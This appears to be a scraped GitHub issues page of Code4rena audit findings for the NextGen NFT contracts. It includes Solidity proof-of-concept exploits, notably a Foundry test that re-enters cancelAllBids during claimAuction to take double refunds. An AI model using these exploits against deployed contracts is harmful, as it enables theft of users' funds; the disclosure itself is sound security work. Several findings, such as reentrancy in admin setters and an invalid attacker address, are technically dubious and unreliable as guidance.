2023-10-nextgen-findings's People
2023-10-nextgen-findings's Issues
Gas Optimizations
See the markdown file with the details of this report here.
Agreements & Disclosures
Agreements
If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:
- C4 Certified Contributor Terms and Conditions,
- C4 Code of Professional Conduct, and
- the disclosure guidelines below.
To signal your agreement to these terms, add a 👍 emoji to this issue.
Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.
Disclosures
Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.
To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:
- any sponsor staff or sponsor contractors who are also participating as wardens
- any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
- any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
- any other case where someone might reasonably infer a possible conflict of interest.
Gas Optimizations
See the markdown file with the details of this report here.
Low-level CALL bool not checked - RandomizerRNG.sol
Lines of code
Vulnerability details
Impact
Low-level CALL bool not checked. Therefore "emergencyWithdraw()" transaction can succeed whilst the withdraw to admin fails
Proof of Concept
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Recommended Mitigation Steps
Include a check, such like the following:
if (!success) {
revert();
}
Assessed type
call/delegatecall
The check for the updateAdminContract function is ineffective.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenAdmins.sol#L83-L85
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L94-L97
Vulnerability details
Impact
The purpose of the require statement within the updateAdminContract function is to check if the contract is an admin contract. However, the isAdminContract function always returns true and does not change, which causes the check in the updateAdminContract function to be ineffective.
Proof of Concept
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L61-L64
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
@ require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenAdmins.sol#L83-L85
function isAdminContract() external view returns (bool) {
@ return true;
}
Tools Used
vs
Recommended Mitigation Steps
Make corrections to the corresponding problems
Assessed type
Invalid Validation
Gas Optimizations
See the markdown file with the details of this report here.
[M-04] Controlled low level call in the MinterContract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L438
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L415-L444
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L461-L466
Vulnerability details
Impact
The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.
Proof of Concept
Vulnerable payArtist function
// Ln 415-444
function payArtist(uint256 _collectionID, address _team1, address _team2, uint256 _teamperc1, uint256 _teamperc2) public FunctionAdminRequired(this.payArtist.selector) {
require(collectionArtistPrimaryAddresses[_collectionID].status == true, "Accept Royalties");
require(collectionTotalAmount[_collectionID] > 0, "Collection Balance must be grater than 0");
require(collectionRoyaltiesPrimarySplits[_collectionID].artistPercentage + _teamperc1 + _teamperc2 == 100, "Change percentages");
uint256 royalties = collectionTotalAmount[_collectionID];
collectionTotalAmount[_collectionID] = 0;
address tm1 = _team1;
address tm2 = _team2;
uint256 colId = _collectionID;
uint256 artistRoyalties1;
uint256 artistRoyalties2;
uint256 artistRoyalties3;
uint256 teamRoyalties1;
uint256 teamRoyalties2;
artistRoyalties1 = royalties * collectionArtistPrimaryAddresses[colId].add1Percentage / 100;
artistRoyalties2 = royalties * collectionArtistPrimaryAddresses[colId].add2Percentage / 100;
artistRoyalties3 = royalties * collectionArtistPrimaryAddresses[colId].add3Percentage / 100;
teamRoyalties1 = royalties * _teamperc1 / 100;
teamRoyalties2 = royalties * _teamperc2 / 100;
(bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
(bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
(bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
(bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
(bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
emit PayTeam(tm1, success4, teamRoyalties1);
emit PayTeam(tm2, success5, teamRoyalties2);
}
Exploit payArtist function with low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./MinterContract.sol";
contract tMinterContract {
MinterContract public x1;
address me = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
constructor(MinterContract _x1) {
x1 = MinterContract(_x1);
}
function testlowCalE() public payable {
x1.payArtist{value: 2 ether}(uint256(4), address(_x1), address(me), uint256(10), uint256(20));
}
receive() external payable {}
}
Vulnerable emergencyWithdraw function
// Ln 461-466
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Exploit emergencyWithdraw function with low level call
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./MinterContract.sol";
contract tMinterContract {
MinterContract public x1;
constructor(MinterContract _x1) {
x1 = MinterContract(_x1);
}
function testlowCalF() public payable {
x1.emergencyWithdraw{value: 2 ether}();
}
receive() external payable {}
}
Tools Used
VS Code.
Recommended Mitigation Steps
Do not allow user-controlled data inside the call() function.
// Ln 438
(bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
// Ln 464
(bool success, ) = payable(admin).call{value: balance}("");
Assessed type
call/delegatecall
Address Proposal Hijacking in Minter Contract.
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L394-L404
Vulnerability details
Impact
The proposePrimaryAddressesAndPercentages()
and proposeSecondaryAddressesAndPercentages()
functions allow anyone to propose recipient addresses and payment percentages. This could allow an attacker to hijack the proposal process and divert royalty payments.
Proof of Concept
The main issue is that the Minter contract's proposePrimaryAddressesAndPercentages()
and proposeSecondaryAddressesAndPercentages()
functions allow anyone to propose recipient addresses and payment percentages for royalty distributions.
The root cause is that the functions do not have access control - they are public functions that can be called by any external account.
Without access control, an attacker could hijack the proposal process by calling these functions and setting malicious addresses to receive royalty payments. This would divert funds away from the intended recipients (i.e. the artist and specified teams).
Specifically:
-
The
proposePrimaryAddressesAndPercentages()
andproposeSecondaryAddressesAndPercentages()
functions allow setting primary and secondary royalty payment addresses and percentages. -
These functions do not use any modifier to restrict access. Any account can call them.
-
An attacker could call these functions and override the legitimate payment addresses with their own addresses.
For example:
The functions have no access control and can be called by any account:
function proposePrimaryAddressesAndPercentages(
uint256 _collectionID,
address _primaryAdd1,
// ...
) public {
// Set payment addresses
}
function proposeSecondaryAddressesAndPercentages(
uint256 _collectionID,
address _secondaryAdd1,
// ...
) public {
// Set payment addresses
}
An attacker could hijack and set malicious addresses to receive payments:
address attacker = 0xE230927711C6Ddsedf0Cab8ef4036121BeF453cr;
proposePrimaryAddressesAndPercentages(
1,
attacker, // replace artist address
0x0,
0x0,
100, // 100% of share
0,
0
)
proposeSecondaryAddressesAndPercentages(
1,
attacker,
0x0,
0x0,
100, // 100% of share
0,
0
)
Now the attacker will receive all royalties, diverting payments from the artist.
Tools Used
Manual review
Recommended Mitigation Steps
- Use an
onlyArtist
modifier to restrict access:
modifier onlyArtist(uint256 _collectionId) {
require(msg.sender == collectionArtist[collectionId], "Not artist");
_;
}
- Emit events on proposal to notify intended recipients.
Assessed type
Access Control
Improper time checks could allow attacker to take money from other auction users
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L135
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L105
Vulnerability details
Impact
There are improper time checks in AuctionDemo.sol. participateToAuction(), cancelBid(), cancelAllBids() in AuctionDemo.sol, use block.timestamp <= minter.getAuctionEndTime(_tokenid)
to check auction end. But claimAuction() use block.timestamp >= minter.getAuctionEndTime(_tokenid)
.
So when in condition block.timestamp == minter.getAuctionEndTime(_tokenid), The auction is closed at the same time as it is progressing, so all function is callable.
In claimAuction(), refund routine make bidder could call again cancelBid() or cancelAllBids() in fallback(). because there are no routine auctionInfoData[_tokenid][index].status = false;
So, attacker could request twice for refund.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
auctionClaim[_tokenid] = true;
uint256 highestBid = returnHighestBid(_tokenid);
address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
address highestBidder = returnHighestBidder(_tokenid);
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
Here is flow for attack.
- attacker bid early
- victim bid
- attacker call high bid and got winner
- attacker call claimAuction() in endtime
- attacker's fallback() will be called
- attacker call cancelAllBids()
- attacker could get twice bid for early
Proof of Concept
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {Test, console2} from "forge-std/Test.sol";
import "../src/NextGenAdmins.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";
import "../src/AuctionDemo.sol";
import "../src/IERC721.sol";
import "../src/XRandoms.sol";
import "../src/RandomizerNXT.sol";
contract auctionDemoTest is Test {
auctionDemo public TARGET;
uint endtime;
function setUp() public {
address system = vm.addr(0x31337);
vm.deal(system, 1000 ether);
vm.startPrank(system);
address admin = address(new NextGenAdmins());
address gencore = address(new NextGenCore("", "", admin));
address minter = address(new NextGenMinterContract(gencore, address(0), admin));
address random = address(new randomPool());
address randomizer = address(new NextGenRandomizerNXT(random, admin, gencore));
TARGET = new auctionDemo(minter, gencore, admin);
string[] memory t = new string[](2);
t[0] = "";
t[1] = "";
NextGenCore(gencore).createCollection("", "", "", "", "", "", "", t);
NextGenCore(gencore).setCollectionData(1, address(0), 0, 10, 0);
NextGenCore(gencore).addMinterContract(address(minter));
NextGenCore(gencore).addRandomizer(1, randomizer);
NextGenMinterContract(minter).setCollectionCosts(1, 1, 1, 1, 1, 1, address(this));
NextGenMinterContract(minter).setCollectionPhases(1, 1, 1, 1, 1, bytes32(""));
NextGenMinterContract(minter).mintAndAuction(address(this), "", 1, 1, (block.timestamp+1 days));
vm.stopPrank();
NextGenCore(gencore).approve(address(TARGET), 10000000000);
endtime = NextGenMinterContract(minter).getAuctionEndTime(10000000000);
}
function testExploit() public {
uint before_balance = address(this).balance;
TARGET.participateToAuction{value: 5 ether}(10000000000);
// victim who bid after attacker will be target...
// victim bid
address victim1 = vm.addr(0x1337);
vm.deal(victim1, 15 ether);
address victim2 = vm.addr(0x1338);
vm.deal(victim2, 15 ether);
address victim3 = vm.addr(0x1339);
vm.deal(victim3, 15 ether);
vm.startPrank(victim1);
TARGET.participateToAuction{value: 6 ether}(10000000000);
vm.stopPrank();
vm.startPrank(victim2);
TARGET.participateToAuction{value: 8 ether}(10000000000);
vm.stopPrank();
vm.startPrank(victim3);
TARGET.participateToAuction{value: 10 ether}(10000000000);
vm.stopPrank();
// attacker will be highest bidder
TARGET.participateToAuction{value: 11 ether}(10000000000);
// wait until auction end
vm.warp(endtime);
// call claim in endtime...
TARGET.claimAuction(10000000000);
// calc profit?
uint after_balance = address(this).balance;
uint balance_diff = after_balance - before_balance;
console2.log("attacker earning: ", balance_diff);
console2.log("done");
}
fallback() payable external {
// attacker will not pay...
TARGET.cancelAllBids(10000000000);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
And here is result of test. And this is the case when attacker get the least amount of money. If attacker call many participateToAuction() and cancelBid() for each, the profit can be maximized.
$ forge test -vvv
[⠆] Compiling...
No files changed, compilation skipped
Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[PASS] testExploit() (gas: 553598)
Logs:
attacker earning: 5000000000000000000
done
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.25ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual
Recommended Mitigation Steps
I recommand that the conditions change clearly, In this case, use '>' using >=
.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
auctionClaim[_tokenid] = true;
uint256 highestBid = returnHighestBid(_tokenid);
Here is result of patch.
$ forge test -vv
[⠆] Compiling...
No files changed, compilation skipped
Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.07ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)
Encountered a total of 1 failing tests, 0 tests succeeded
Assessed type
Timing
The reentrancy vulnerability in _safeMint maybe allow an attacker could mint repeatedly
Lines of code
Vulnerability details
Impact
_safeMint could make reentrancy vulnerability. So malicious user could it as reentrancy attack.
Proof of Concept
airDropTokens(), mint(), burnToMint() in NextGenCore.sol are using _mintProcessing().
function airDropTokens(uint256 mintIndex, address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID) external {
require(msg.sender == minterContract, "Caller is not the Minter Contract");
collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
_mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1;
}
}
...
function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
require(msg.sender == minterContract, "Caller is not the Minter Contract");
collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}
}
}
...
function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
require(msg.sender == minterContract, "Caller is not the Minter Contract");
require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
_mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
// burn token
_burn(_tokenId);
burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
}
}
_mintProcessing() in NextGenCore.sol use _safeMint
of ERC721. And _safeMint
of ERC721 call onERC721Received() of target address to check that receiver got token using by _checkOnERC721Received().
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
tokenData[_mintIndex] = _tokenData;
collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
tokenIdsToCollectionIds[_mintIndex] = _collectionID;
_safeMint(_recipient, _mintIndex);
}
There are no modifer to check reentrancy in airDropTokens(), mint(), burnToMint() in NextGenCore.sol, and minterContract which is real caller in real caller of airDropTokens(), mint(), burnToMint(), have no reentrancy check modifier.
...
function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
...
function burnOrSwapExternalToMint(address _erc721Collection, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, string memory _tokenData, bytes32[] calldata merkleProof, uint256 _saltfun_o) public payable {
...
function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
...
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
...
Tools Used
Manual
Recommended Mitigation Steps
Use modifer such as ReentrancyGuard to check reenter in flow.
Assessed type
ERC721
QA Report
See the markdown file with the details of this report here.
[M-07] Incorrect equality in the XRandoms contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L28
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/XRandoms.sol#L15-L33
Vulnerability details
Impact
Use of strict equalities that can be easily manipulated by an attacker.
Dangerous strict equality is where the use of strict equality (==) for comparison may lead to unexpected or potentially unsafe behaviour due to issues like type conversions, precision, or external input.
Proof of Concept
Here is a Proof of Concept (POC) for the incorrect equality in the getWord function:
pragma solidity ^0.8.19;
contract TestRandomPool {
randomPool rp = new randomPool();
function testGetWord() public {
// This will return the first word in the list, "Acai"
string memory word1 = rp.getWord(0);
assert(keccak256(abi.encodePacked(word1)) == keccak256(abi.encodePacked("Acai")));
// This will return the second word in the list, "Ackee"
string memory word2 = rp.getWord(1);
assert(keccak256(abi.encodePacked(word2)) == keccak256(abi.encodePacked("Ackee")));
// This will return the first word in the list, "Acai", due to incorrect equality
string memory word3 = rp.getWord(2);
assert(keccak256(abi.encodePacked(word3)) == keccak256(abi.encodePacked("Acai")));
}
}
In the getWord function, the id is decremented by 1 when it is not equal to 0.
This means that when id is 2, it will return the word at index 1, which is "Acai" instead of "Apple".
This is due to the incorrect equality id == 0.
Location
randomPool.getWord(uint256) (smart-contracts/XRandoms.sol#15-33) uses a dangerous strict equality:
- id == 0 (smart-contracts/XRandoms.sol#28)
Vulnerable line of code
// Ln 28
if (id==0) {
Vulnerable getWords function
Ln 15-33
function getWord(uint256 id) private pure returns (string memory) {
// array storing the words list
string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange",
"Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine",
"Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian",
"Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum",
"Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango",
"Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple",
"Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma",
"Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];
// returns a word based on index
if (id==0) {
return wordsList[id];
} else {
return wordsList[id - 1];
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
Don't use strict equality to determine if an account has enough Ether or tokens.
Assessed type
Invalid Validation
[M-11] Reentrancy in the NextGenCore contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L170-L174
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L307-L311
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L315-L318
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/NextGenCore.sol#L322-L325
Vulnerability details
Impact
The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.
Proof of Concept
Vulnerable addRandomizer function to reentrancy
// Ln 170-174
function addRandomizer(uint256 _collectionID, address _randomizerContract) public FunctionAdminRequired(this.addRandomizer.selector) {
require(IRandomizer(_randomizerContract).isRandomizerContract() == true, "Contract is not Randomizer");
collectionAdditionalData[_collectionID].randomizerContract = _randomizerContract;
collectionAdditionalData[_collectionID].randomizer = IRandomizer(_randomizerContract);
}
Vulnerable setFinalSupply function to reentrancy
// Ln 307-311
function setFinalSupply(uint256 _collectionID) public FunctionAdminRequired(this.setFinalSupply.selector) {
require (block.timestamp > IMinterContract(minterContract).getEndTime(_collectionID) + collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint, "Time has not passed");
collectionAdditionalData[_collectionID].collectionTotalSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply;
collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + collectionAdditionalData[_collectionID].collectionTotalSupply - 1;
}
Vulnerable addMinterContract function to reentrancy
// Ln 315-318
function addMinterContract(address _minterContract) public FunctionAdminRequired(this.addMinterContract.selector) {
require(IMinterContract(_minterContract).isMinterContract() == true, "Contract is not Minter");
minterContract = _minterContract;
}
Vulnerable updateAdminContract function to reentrancy
// Ln 322-325
function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
adminsContract = INextGenAdmins(_newadminsContract);
}
Exploit Reentrancy
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
import "./NextGenCore.sol";
contract tNextGenCore {
NextGenCore public x1;
constructor(NextGenCore _x1) {
x1 = NextGenCore(_x1);
}
function testReenterC() public payable {
x1.addRandomizer(uint256(2),address(_x1));
x1.setFinalSupply(uint256(2));
x1.addMinterContract(address(_x1));
x1.updateAdminContract(address(_x1));
}
receive() external payable {
msg.sender.transfer(payable(address(_x1)).balance);
}
}
Tools Used
VS Code.
Recommended Mitigation Steps
All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.
Assessed type
Reentrancy
Low-level CALL bool not checked - MinterContract.sol
Lines of code
Vulnerability details
Impact
Low-level call bool is not checked, so "emergencyWithdraw()" public function can complete successfully without the balance actually successfully transferred to admin.
Proof of Concept
Only event emitted after, no check to REVERT if bool success = false
function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
uint balance = address(this).balance;
address admin = adminsContract.owner();
(bool success, ) = payable(admin).call{value: balance}("");
emit Withdraw(msg.sender, success, balance);
}
Recommended Mitigation Steps
Add an additional check, e.g.
if (!success) {
revert();
}
## Assessed type
call/delegatecall
[M-06] Dubious type casting in RandomizerRNG contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L49
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L48-L50
Vulnerability details
Impact
Dubious type casting from bytes to bytes32 in Solidity refers to a potentially unsafe conversion between these two data types.
In Solidity, bytes is a dynamically-sized byte array, while bytes32 is a fixed-size byte array of 32 bytes.
When you cast bytes to bytes32, you're essentially trying to fit a potentially larger amount of data into a smaller container.
If the bytes array is larger than 32 bytes, the conversion will result in data loss as only the first 32 bytes will be kept and the rest will be discarded.
This can lead to unexpected behavior and potential security vulnerabilities in your smart contract.
Proof of Concept
Vulnerable line of code
// Ln 49
gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
Vulnerable function fulfillRandomWords to type casting
// Ln 48-50
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
}
The dubious type casting issue is related to the fulfillRandomWords function where bytes is being cast to bytes32.
This can potentially lead to data loss if the size of the bytes exceeds 32 bytes.
Here is a proof of concept (POC) that demonstrates this issue:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.19;
contract POC {
function dubiousTypeCast() public pure returns (bytes32) {
uint256[] memory numbers = new uint256[](5);
for (uint i = 0; i < 5; i++) {
numbers[i] = i;
}
uint256 id = 123456789;
bytes memory packed = abi.encodePacked(numbers, id);
bytes32 result = bytes32(packed);
return result;
}
}
In this POC, we create an array of 5 uint256 numbers and an id. We then pack these into a bytes variable.
Finally, we cast this bytes variable to bytes32 and return it.
If you run this function, you will see that the returned bytes32 value is not the same as the original bytes value, demonstrating the potential for data loss due to the dubious type casting.
Location
Dubious typecast in NextGenRandomizerRNG.fulfillRandomWords(uint256,uint256[]) (smart-contracts/RandomizerRNG.sol#48-50):
bytes => bytes32 casting occurs in gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]],requestToToken[id],bytes32(abi.encodePacked(numbers,requestToToken[id]))) (smart-contracts/RandomizerRNG.sol#49)
Tools Used
VS Code.
Recommended Mitigation Steps
Use clear constants.
Assessed type
Invalid Validation
QA Report
See the markdown file with the details of this report here.
[M-02] Controlled low level call in the AuctionDemo contract
Lines of code
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L128
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L124-L130
